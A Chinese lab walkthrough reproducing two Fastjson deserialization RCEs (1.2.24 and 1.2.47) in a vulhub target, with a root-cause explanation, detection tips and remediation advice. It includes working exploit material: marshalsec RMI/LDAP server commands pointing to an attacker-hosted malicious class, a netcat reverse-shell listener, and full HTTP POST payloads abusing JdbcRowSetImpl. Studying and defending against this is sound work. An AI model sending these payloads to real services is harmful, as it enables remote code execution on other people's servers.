04-Fastjson反序列化漏洞

免责声明

本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场

    启动成功

  2. Kali 用marshalsec启动LDAP/RMI服务

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码

在jdk的bin目录下编译恶意文件

可以通过访问看有没有启动成功

  1. Kali 用netcat监听端口,建立反弹连接
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

5、发送payload

bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188

{ 

	"b": { 
			"@type": "com.sun.rowset.JdbcRowSetImpl", 
			"dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", 
			"autoCommit": true
	}
}

结果

先后连接成功


8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
  2. kali启动监听
bash 复制代码
nc -lvp 9001
  1. Kali 用marshalsec启动LDAP/RMI服务
bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
  2. 放入到对应文件夹中并启动http服务
  3. 发送payload
bash 复制代码
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268

{
  "a":{
      "@type":"java.lang.Class", 
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{ 
      "@type":"com.sun.rowset.JdbcRowSetImpl", 
      "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", 
      "autoCommit":true
  }
}

连接成功

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性

2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()

3、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {"x":"

Burp 插件

https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson
相关推荐
浩浩测试一下4 小时前
Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )
网络·网络协议·tcp/ip·安全·网络安全·php
网安INF4 小时前
CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
java·web安全·网络安全·flink·漏洞
Snk0xHeart5 小时前
极客大挑战 2019 EasySQL 1(万能账号密码,SQL注入,HackBar)
数据库·sql·网络安全
赛卡5 小时前
汽车安全:功能安全FuSa、预期功能安全SOTIF与网络安全Cybersecurity 解析
人工智能·安全·网络安全·车载系统·自动驾驶·汽车
CatalyzeSec6 小时前
一些实用的chrome扩展0x01
安全·web安全·网络安全
leagsoft_10036 小时前
筑牢企业网管域安全防线,守护数字核心——联软网管域安全建设解决方案
网络·安全·网络安全
2501_9159214310 小时前
高敏感应用如何保护自身不被逆向?iOS 安全加固策略与工具组合实战(含 Ipa Guard 等)
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9151063211 小时前
App 上线后还能加固吗?iOS 应用的动态安全补强方案实战分享(含 Ipa Guard 等工具组合)
websocket·网络协议·tcp/ip·http·网络安全·https·udp
中科固源11 小时前
捍卫低空安全!-中科固源发现无人机MavLink协议远程内存泄漏漏洞
网络安全·模糊测试
Z3r4y11 小时前
【云安全】以Aliyun为例聊云厂商服务常见利用手段
网络安全·云安全·aliyun